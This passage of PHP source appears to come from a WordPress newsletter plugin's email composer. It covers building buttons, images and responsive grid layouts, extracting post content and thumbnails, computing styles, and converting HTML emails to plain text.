$markers[0] = str_replace('/', '\/', $markers[0]);
$markers[1] = str_replace('/', '\/', $markers[1]);
}
/**
* Using the data collected inside $controls (and submitted by a form containing the
* composer fields), updates the email. The message body is completed with doctype,
* head, style and the main wrapper.
*
* @param TNP_Email $email
* @param NewsletterControls $controls
*/
static function update_email($email, $controls) {
if (isset($controls->data['subject'])) {
$email->subject = wp_strip_all_tags($controls->data['subject']);
}
// They should be only composer options
foreach ($controls->data as $name => $value) {
if (strpos($name, 'options_') === 0) {
$email->options[substr($name, 8)] = wp_strip_all_tags($value);
}
}
$email->editor = NewsletterEmails::EDITOR_COMPOSER;
$message = $controls->data['message'];
$email->message = self::get_html_open($email) . self::get_main_wrapper_open($email) .
$message . self::get_main_wrapper_close($email) . self::get_html_close($email);
}
/**
* Prepares a NewsletterControls object injecting the relevant fields from an email
* which cannot be directly used by controls. If $email is null or missing,
* $controls is prepared with default values.
*
* @param NewsletterControls $controls
* @param TNP_Email $email
*/
static function prepare_controls($controls, $email = null) {
// Controls for a new email (which actually does not exist yet
if (!empty($email)) {
foreach ($email->options as $name => $value) {
$controls->data['options_' . $name] = $value;
}
$controls->data['message'] = TNP_Composer::unwrap_email($email->message);
$controls->data['subject'] = $email->subject;
$controls->data['updated'] = $email->updated;
}
if (!empty($email->options['sender_email'])) {
$controls->data['sender_email'] = $email->options['sender_email'];
} else {
$controls->data['sender_email'] = Newsletter::instance()->get_sender_email();
}
if (!empty($email->options['sender_name'])) {
$controls->data['sender_name'] = $email->options['sender_name'];
} else {
$controls->data['sender_name'] = Newsletter::instance()->get_sender_name();
}
$controls->data = array_merge(TNP_Composer::get_global_style_defaults(), $controls->data);
}
/**
* Extract inline edited post field from inline_edit_list[]
*
* @param array $inline_edit_list
* @param string $field_type
* @param int $post_id
*
* @return string
*/
static function get_edited_inline_post_field($inline_edit_list, $field_type, $post_id) {
foreach ($inline_edit_list as $edit) {
if ($edit['type'] == $field_type && $edit['post_id'] == $post_id) {
return $edit['content'];
}
}
return '';
}
/**
* Check if inline_edit_list[] have inline edit field for specific post
*
* @param array $inline_edit_list
* @param string $field_type
* @param int $post_id
*
* @return bool
*/
static function is_post_field_edited_inline($inline_edit_list, $field_type, $post_id) {
if (empty($inline_edit_list) || !is_array($inline_edit_list)) {
return false;
}
foreach ($inline_edit_list as $edit) {
if ($edit['type'] == $field_type && $edit['post_id'] == $post_id) {
return true;
}
}
return false;
}
/**
* Creates the HTML for a button extrating from the options, with the provided prefix, the button attributes:
*
* - [prefix]_url The button URL
* - [prefix]_font_family
* - [prefix]_font_size
* - [prefix]_font_weight
* - [prefix]_label
* - [prefix]_font_color The label color
* - [prefix]_background The button color
*
* TODO: Add radius and possiblt the alignment
*
* @param array $options
* @param string $prefix
* @return string
*/
static function button($options, $prefix = 'button', $composer = []) {
if (empty($options[$prefix . '_label'])) {
return;
}
$defaults = [
$prefix . '_url' => '#',
$prefix . '_font_family' => $composer['button_font_family'] ?? 'sans-serif',
$prefix . '_font_color' => $composer['button_font_color'] ?? '#000',
$prefix . '_font_weight' => $composer['button_font_weight'] ?? 'normal',
$prefix . '_font_size' => $composer['button_font_size'] ?? '16',
$prefix . '_background' => $composer['button_background_color'] ?? '',
$prefix . '_border_radius' => '5',
$prefix . '_align' => 'center',
$prefix . '_width' => 'auto'
];
$options = array_merge($defaults, array_filter($options));
$a_style = 'display:inline-block;'
. 'color:' . $options[$prefix . '_font_color'] . ';font-family:' . $options[$prefix . '_font_family'] . ';'
. 'font-size:' . $options[$prefix . '_font_size'] . 'px;font-weight:' . $options[$prefix . '_font_weight'] . ';'
. 'line-height:120%;margin:0;text-decoration:none;text-transform:none;padding:10px 25px;mso-padding-alt:0px;';
$a_style .= 'border-radius:' . $options[$prefix . '_border_radius'] . 'px;';
$table_style = 'border-collapse:separate !important;line-height:100%;';
$td_style = 'border-collapse:separate !important;cursor:auto;mso-padding-alt:10px 25px;background:' . $options[$prefix . '_background'] . ';';
$td_style .= 'border-radius:' . $options[$prefix . '_border_radius'] . 'px;';
if (!empty($options[$prefix . '_width'])) {
$a_style .= ' width:' . $options[$prefix . '_width'] . 'px;';
$table_style .= 'width:' . $options[$prefix . '_width'] . 'px;';
}
if (!empty($options[$prefix . '_border_color'])) {
$td_style .= 'border:1px solid ' . $options[$prefix . '_border_color'] . ';';
}
$b = '';
$b .= '<table border="0" cellpadding="0" cellspacing="0" role="presentation" align="' . esc_attr($options[$prefix . '_align']) . '" style="' . esc_attr($table_style) . '">'
. '<tr>'
. '<td align="center" bgcolor="' . esc_attr($options[$prefix . '_background']) . '" role="presentation" style="' . esc_attr($td_style) . '" valign="middle">'
. '<a href="' . esc_attr($options[$prefix . '_url']) . '" style="' . esc_attr($a_style) . '" target="_blank">' . wp_kses_post($options[$prefix . '_label']) . '</a>'
. '</td></tr></table>';
return $b;
}
/**
* Generates an IMG tag, linked if the media has an URL.
*
* @param TNP_Media $media
* @param string $style
* @return string
*/
static function image($media, $attr = []) {
if (!$media) {
return '';
}
$default_attrs = [
'style' => 'display: inline-block; max-width: 100%!important; height: auto; padding: 0; border: 0; font-size: 12px',
'class' => '',
'inline-class' => '',
'link-style' => 'display: inline-block; font-size: 0; text-decoration: none; line-height: normal!important',
'link-class' => '',
'link-inline-class' => '',
'alt' => 'Image'
];
$attr = array_merge($default_attrs, $attr);
// inline-class and style attribute are mutually exclusive.
if (!empty($attr['inline-class'])) {
$styling = ' inline-class="' . esc_attr($attr['inline-class']) . '" ';
} else {
$styling = ' style="' . esc_attr($attr['style']) . '" ';
}
//Class and style attribute are mutually exclusive.
//Class take priority to style because classes will transform to inline style inside block rendering operation
if (!empty($attr['link-inline-class'])) {
$link_styling = ' inline-class="' . esc_attr($attr['link-inline-class']) . '" ';
} else {
$link_styling = ' style="' . esc_attr($attr['link-style']) . '" ';
}
$b = '';
if ($media->link) {
$b .= '<a href="' . esc_attr($media->link) . '" target="_blank" rel="noopener nofollow" ';
$b .= $link_styling;
$b .= ' class="' . esc_attr($attr['link-class']) . '"';
$b .= '>';
} else {
// The span grants images are not upscaled when fluid (two columns posts block)
$b .= '<span style="display: inline-block; font-size: 0; text-decoration: none; line-height: normal!important">';
}
if ($media) {
$b .= '<img src="' . esc_attr($media->url) . '" width="' . esc_attr($media->width) . '"';
if ($media->height) {
$b .= ' height="' . esc_attr($media->height) . '"';
}
$b .= ' alt="' . esc_attr($media->alt) . '" '
. ' border="0"'
. $styling
. ' class="' . esc_attr($attr['class']) . '" '
. '>';
}
if ($media->link) {
$b .= '</a>';
} else {
$b .= '</span>';
}
return $b;
}
/**
* Returns a WP media ID for the specified post (or false if nothing can be found)
* looking for the featured image or, if missing, taking the first media in the gallery and
* if again missing, searching the first reference to a media in the post content.
*
* The media ID is not checked for real existance of the associated attachment.
*
* @param int $post_id
* @return int
*/
static function get_post_thumbnail_id($post_id) {
if (is_object($post_id)) {
$post_id = $post_id->ID;
}
// Find a media id to be used as featured image
$media_id = get_post_thumbnail_id($post_id);
if (!empty($media_id)) {
return $media_id;
}
$attachments = get_children(array('numberpost' => 1, 'post_parent' => $post_id, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => 'ASC', 'orderby' => 'menu_order'));
if (!empty($attachments)) {
foreach ($attachments as $id => &$attachment) {
return $id;
}
}
$post = get_post($post_id);
$r = preg_match('/wp-image-(\d+)/', $post->post_content, $matches);
if ($matches) {
return (int) $matches[1];
}
return false;
}
/**
* Builds a TNP_Media object to be used in newsletters from a WP media/attachement ID. The returned
* media has a size which best match the one requested (this is the standard WP behavior, plugins
* could change it).
*
* @param int $media_id
* @param array $size
* @return \TNP_Media
*/
function get_media($media_id, $size) {
$src = wp_get_attachment_image_src($media_id, $size);
if (!$src) {
return null;
}
$media = new TNP_Media();
$media->id = $media_id;
$media->url = $src[0];
$media->width = $src[1];
$media->height = $src[2];
return $media;
}
static function post_content($post) {
$content = $post->post_content;
if (function_exists('has_blocks') && !has_blocks($post)) {
$content = wpautop($content);
}
if (true || $options['enable shortcodes']) {
remove_shortcode('gallery');
add_shortcode('gallery', 'tnp_gallery_shortcode');
$content = do_shortcode($content);
}
$content = str_replace('<p>', '<p inline-class="p">', $content);
$content = str_replace('<li>', '<li inline-class="li">', $content);
$selected_images = array();
if (preg_match_all('/<img [^>]+>/', $content, $matches)) {
foreach ($matches[0] as $image) {
if (preg_match('/wp-image-([0-9]+)/i', $image, $class_id) && ( $attachment_id = absint($class_id[1]) )) {
$selected_images[$image] = $attachment_id;
}
}
}
foreach ($selected_images as $image => $attachment_id) {
$src = tnp_media_resize($attachment_id, array(600, 0));
if (is_wp_error($src)) {
continue;
}
$content = str_replace($image, '<img src="' . $src . '" width="600" style="max-width: 100%">', $content);
}
return $content;
}
static function get_global_style_defaults() {
return [
'options_composer_title_font_family' => 'Verdana, Geneva, sans-serif',
'options_composer_title_font_size' => 32,
'options_composer_title_font_weight' => 'normal',
'options_composer_title_font_color' => '#222222',
'options_composer_text_font_family' => 'Verdana, Geneva, sans-serif',
'options_composer_text_font_size' => 16,
'options_composer_text_font_weight' => 'normal',
'options_composer_text_font_color' => '#222222',
'options_composer_button_font_family' => 'Verdana, Geneva, sans-serif',
'options_composer_button_font_size' => 16,
'options_composer_button_font_weight' => 'normal',
'options_composer_button_font_color' => '#FFFFFF',
'options_composer_button_background_color' => '#256F9C',
'options_composer_background' => '#FFFFFF',
'options_composer_block_background' => '#FFFFFF',
'options_composer_width' => '600'
];
}
/**
* Inspired by: https://webdesign.tutsplus.com/tutorials/creating-a-future-proof-responsive-email-without-media-queries--cms-23919
*
* Attributes:
* - columns: number of columns [2]
* - padding: cells padding [10]
* - responsive: il on mobile the cell should stack up [true]
* - width: the whole row width, it should reduced by the external row padding [600]
*
* @param string[] $items
* @param array $attrs
* @return string
*/
static function grid($items = [], $attrs = []) {
$attrs = wp_parse_args($attrs, ['width' => 600, 'columns' => 2, 'widths' => [], 'padding' => 10, 'responsive' => true]);
$width = (int) $attrs['width'] - 2; // To compensate the border
$columns = (int) $attrs['columns'];
if (empty($columns)) {
return;
}
$padding = (int) $attrs['padding'];
if (empty($attrs['widths'])) {
$attrs['widths'] = array_fill(0, $columns, 1);
}
$column_widths = [];
$td_widths = [];
$sum = (float) array_sum($attrs['widths']);
for ($i = 0; $i < $columns; $i++) {
$column_widths[$i] = floor(($width) * $attrs['widths'][$i] / $sum);
$td_widths[$i] = floor((100 * $attrs['widths'][$i] / $sum));
}
$td_width = 100 / $columns;
$chunks = array_chunk($items, $columns);
if ($attrs['responsive']) {
$e = '';
foreach ($chunks as &$chunk) {
$e .= '<div style="text-align:center;font-size:0;">';
$e .= '<!--[if mso]><table role="presentation" width="100%"><tr><![endif]-->';
$i = 0;
foreach ($chunk as $idx => &$item) {
$e .= '<!--[if mso]><td width="' . $td_widths[$i] . '%" style="width:' . $td_widths[$i] . '%;padding:' . $padding . 'px" valign="top"><![endif]-->';
$e .= '<div class="max-width-100" style="width:100%;max-width:' . $column_widths[$i] . 'px;display:inline-block;vertical-align: top;box-sizing: border-box;">';
// This element to add padding without deal with border-box not well supported
// if ($idx === 0) {
// $e .= '<div style="padding:' . $padding . 'px; padding-left: 0;" class="p-0">';
// } elseif ($idx === count($items)-1) {
// $e .= '<div style="padding:' . $padding . 'px; padding-right: 0" class="p-0">';
// } else {
$e .= '<div style="padding:' . $padding . 'px;" class="p-0">';
// }
$e .= $item;
$e .= '</div>';
$e .= '</div>';
$e .= '<!--[if mso]></td><![endif]-->';
$i++;
}
$e .= '<!--[if mso]></tr></table><![endif]-->';
$e .= '</div>';
}
return $e;
} else {
$e = '<table role="presentation" width="100%" cellspacing="0" cellpadding="0" border="0" style="width: 100%; max-width: 100%!important">';
foreach ($chunks as &$chunk) {
$e .= '<tr>';
foreach ($chunk as &$item) {
$e .= '<td width="' . $td_width . '%" style="width:' . $td_width . '%; padding:' . $padding . 'px" valign="top">';
$e .= $item;
$e .= '</td>';
}
$e .= '</tr>';
}
$e .= '</table>';
return $e;
}
}
static function get_text_style($options, $prefix, $composer, $attrs = []) {
return self::get_style($options, $prefix, $composer, 'text', $attrs);
}
static function get_title_style($options, $prefix, $composer, $attrs = []) {
return self::get_style($options, $prefix, $composer, 'title', $attrs);
}
static function get_style($options, $prefix, $composer, $type = 'text', $attrs = []) {
$style = new TNP_Style();
$style->scalable = empty($options[$prefix . 'font_size']);
$scale = 1.0;
if ($style->scalable) {
if (!empty($attrs['scale'])) {
$scale = (float) $attrs['scale'];
}
}
if (!empty($prefix)) {
$prefix .= '_';
}
$style->font_family = empty($options[$prefix . 'font_family']) ? $composer[$type . '_font_family'] : $options[$prefix . 'font_family'];
$style->font_size = empty($options[$prefix . 'font_size']) ? round($composer[$type . '_font_size'] * $scale) : $options[$prefix . 'font_size'];
$style->font_color = empty($options[$prefix . 'font_color']) ? $composer[$type . '_font_color'] : $options[$prefix . 'font_color'];
$style->font_weight = empty($options[$prefix . 'font_weight']) ? $composer[$type . '_font_weight'] : $options[$prefix . 'font_weight'];
if (!empty($options[$prefix . 'font_align'])) {
$style->align = $options[$prefix . 'font_align'];
}
if ($type === 'button') {
$style->background = empty($options[$prefix . 'background']) ? $composer[$type . '_background_color'] : $options[$prefix . 'background'];
}
return $style;
}
static function get_button_options($options, $prefix, $composer) {
$button_options = [];
$scale = 1;
$button_options['button_font_family'] = empty($options[$prefix . '_font_family']) ? $composer['button_font_family'] : $options[$prefix . '_font_family'];
$button_options['button_font_size'] = empty($options[$prefix . '_font_size']) ? round($composer['button_font_size'] * $scale) : $options[$prefix . '_font_size'];
$button_options['button_font_color'] = empty($options[$prefix . '_font_color']) ? $composer['button_font_color'] : $options[$prefix . '_font_color'];
$button_options['button_font_weight'] = empty($options[$prefix . '_font_weight']) ? $composer['button_font_weight'] : $options[$prefix . '_font_weight'];
$button_options['button_background'] = empty($options[$prefix . '_background']) ? $composer['button_background_color'] : $options[$prefix . '_background'];
$button_options['button_align'] = empty($options[$prefix . '_align']) ? 'center' : $options[$prefix . '_align'];
$button_options['button_width'] = empty($options[$prefix . '_width']) ? 'center' : $options[$prefix . '_width'];
$button_options['button_url'] = empty($options[$prefix . '_url']) ? '#' : $options[$prefix . '_url'];
$button_options['button_label'] = empty($options[$prefix . '_label']) ? '' : $options[$prefix . '_label'];
return $button_options;
}
static function convert_to_text($html) {
if (!class_exists('DOMDocument')) {
return '';
}
if (!function_exists('ctype_space')) {
return '';
}
// Replace '&' with '&' in URLs to avoid warnings about inavlid entities from loadHTML()
// Todo: make this more general using a regular expression
//$logger = PlaintextNewsletterAddon::$instance->get_logger();
//$logger->debug('html="' . $html . '"');
$html = str_replace(
array('&nk=', '&nek=', '&id='),
array('&nk=', '&nek=', '&id='),
$html);
//$logger->debug('new html="' . $html . '"');
//
$output = '';
// Prevents warnings for problems with the HTML
if (function_exists('libxml_use_internal_errors')) {
libxml_use_internal_errors(true);
}
$dom = new DOMDocument();
$r = $dom->loadHTML('<?xml encoding="utf-8" ?>' . $html);
if (!$r) {
return '';
}
$bodylist = $dom->getElementsByTagName('body');
// Of course it should be a single element
foreach ($bodylist as $body) {
self::process_dom_element($body, $output);
}
return $output;
}
static function process_dom_element(DOMElement $parent, &$output) {
foreach ($parent->childNodes as $node) {
if (is_a($node, 'DOMElement') && ($node->tagName != 'style')) {
if ($node->tagName == 'br') {
$output .= "\n";
continue;
}
self::process_dom_element($node, $output);
if ($node->tagName == 'li') {
if ((strlen($output) >= 1) && (substr($output, -1) != "\n")) {
$output .= "\n";
}
continue;
}
// If the containing tag was a block level tag, we add a couple of line ending
if ($node->tagName == 'p' || $node->tagName == 'div' || $node->tagName == 'td') {
// Avoid more than one blank line between elements
if ((strlen($output) >= 2) && (substr($output, -2) != "\n\n")) {
$output .= "\n\n";
}
}
if ($node->tagName == 'a') {
// Check if the children is an image
if (is_a($node->childNodes[0], 'DOMElement')) {
if ($node->childNodes[0]->tagName == 'img') {
continue;
}
}
$output .= ' (' . $node->getAttribute('href') . ') ';
continue;
} elseif ($node->tagName == 'img') {
$output .= $node->getAttribute('alt');
}
} elseif (is_a($node, 'DOMText')) {
// Rare error reported about uninitialized variable
if (isset($node->wholeText)) {
// ???
//$decoded = utf8_decode($node->wholeText);
$decoded = $node->wholeText;
//$decoded = trim(html_entity_decode($node->wholeText));
// We could avoid ctype_*
if (ctype_space($decoded)) {
// Append blank only if last character output is not blank.
if ((strlen($output) > 0) && !ctype_space(substr($output, -1))) {
$output .= ' ';
}
} else {
$output .= trim($node->wholeText);
$output .= ' ';
}
} else {
// ???
}
}
}
}
}
class TNP_Style {
var $font_family;
var $font_size;
var $font_weight;
var $font_color;
var $background;
var $align;
var $scalable = true;
function echo_css($scale = 1.0) {
echo 'font-size: ', round($this->font_size * $scale), 'px;';
echo 'font-family: ', esc_html($this->font_family), ';';
echo 'font-weight: ', esc_html($this->font_weight), ';';
echo 'color: ', sanitize_hex_color($this->font_color), ';';
if (!empty($this->align)) {
echo 'text-align: ', esc_html($this->align), ';';
}
}
}
/**
* Generate multicolumn and responsive html template for email.
* Initialize class with max columns per row and start to add cells.
*/
class TNP_Composer_Grid_System {
/**
* @var TNP_Composer_Grid_Row[]
*/
private $rows;
/**
* @var int
*/
private $cells_per_row;
/**
* @var int
*/
private $cells_counter;
/**
* TNP_Composer_Grid_System constructor.
*
* @param int $columns_per_row Max columns per row
*/
public function __construct($columns_per_row) {
$this->cells_per_row = $columns_per_row;
$this->cells_counter = 0;
$this->rows = [];
}
public function __toString() {
return $this->render();
}
/**
* Add cell to grid
*
* @param TNP_Composer_Grid_Cell $cell
*/
public function add_cell($cell) {
if ($this->cells_counter % $this->cells_per_row === 0) {
$this->add_row(new TNP_Composer_Grid_Row());
}
$row_idx = (int) floor($this->cells_counter / $this->cells_per_row);
$this->rows[$row_idx]->add_cell($cell);
$this->cells_counter++;
}
private function add_row($row) {
$this->rows[] = $row;
}
public function render() {
$str = '';
foreach ($this->rows as $row) {
$str .= $row->render();
}
return $str;
}
}
/**
* Class TNP_Composer_Grid_Row
*/
class TNP_Composer_Grid_Row {
/**
* @var TNP_Composer_Grid_Cell[]
*/
private $cells;
public function __construct(...$cells) {
if (!empty($cells)) {
foreach ($cells as $cell) {
$this->add_cell($cell);
}
}
}
/**
* @param TNP_Composer_Grid_Cell $cell
*/
public function add_cell($cell) {
$this->cells[] = $cell;
}
public function render() {
$rendered_cells = '';
$column_percentage_width = round(100 / $this->cells_count(), 0, PHP_ROUND_HALF_DOWN) . '%';
foreach ($this->cells as $cell) {
$rendered_cells .= $cell->render(['width' => $column_percentage_width]);
}
$row_template = $this->get_template();
return str_replace('TNP_ROW_CONTENT_PH', $rendered_cells, $row_template);
}
private function cells_count() {
return count($this->cells);
}
private function get_template() {
return "<table border='0' cellpadding='0' cellspacing='0' width='100%'><tbody><tr><td>TNP_ROW_CONTENT_PH</td></tr></tbody></table>";
}
}
/**
* Class TNP_Composer_Grid_Cell
*/
class TNP_Composer_Grid_Cell {
/**
* @var string
*/
private $content;
/**
* @var array
*/
public $args;
public function __construct($content = null, $args = []) {
$default_args = [
'width' => '100%',
'class' => '',
'align' => 'left',
'valign' => 'top'
];
$this->args = array_merge($default_args, $args);
$this->content = $content ? $content : '';
}
public function add_content($content) {
$this->content .= $content;
}
public function render($args) {
$this->args = array_merge($this->args, $args);
$column_template = $this->get_template();
$column = str_replace(
[
'TNP_ALIGN_PH',
'TNP_VALIGN_PH',
'TNP_WIDTH_PH',
'TNP_CLASS_PH',
'TNP_COLUMN_CONTENT_PH'
], [
$this->args['align'],
$this->args['valign'],
$this->args['width'],
$this->args['class'],
$this->content
], $column_template);
return $column;
}
private function get_template() {
return "<table border='0' cellpadding='0' cellspacing='0' width='TNP_WIDTH_PH' align='left' style='table-layout: fixed;' class='responsive'>
<tbody>
<tr>
<td border='0' style='padding: 20px 10px 40px;' align='TNP_ALIGN_PH' valign='TNP_VALIGN_PH' class='TNP_CLASS_PH'>
TNP_COLUMN_CONTENT_PH
</td>
</tr>
</tbody>
</table>";
}
}
class TNP_Composer_Component_Factory {
private $options;
/**
* TNP_Composer_Component_Factory constructor.
*
* @param Controller$controller
*/
public function __construct($controller) {
}
function heading() {
}
function paragraph() {
}
function link() {
}
function button() {
}
function image() {
}
}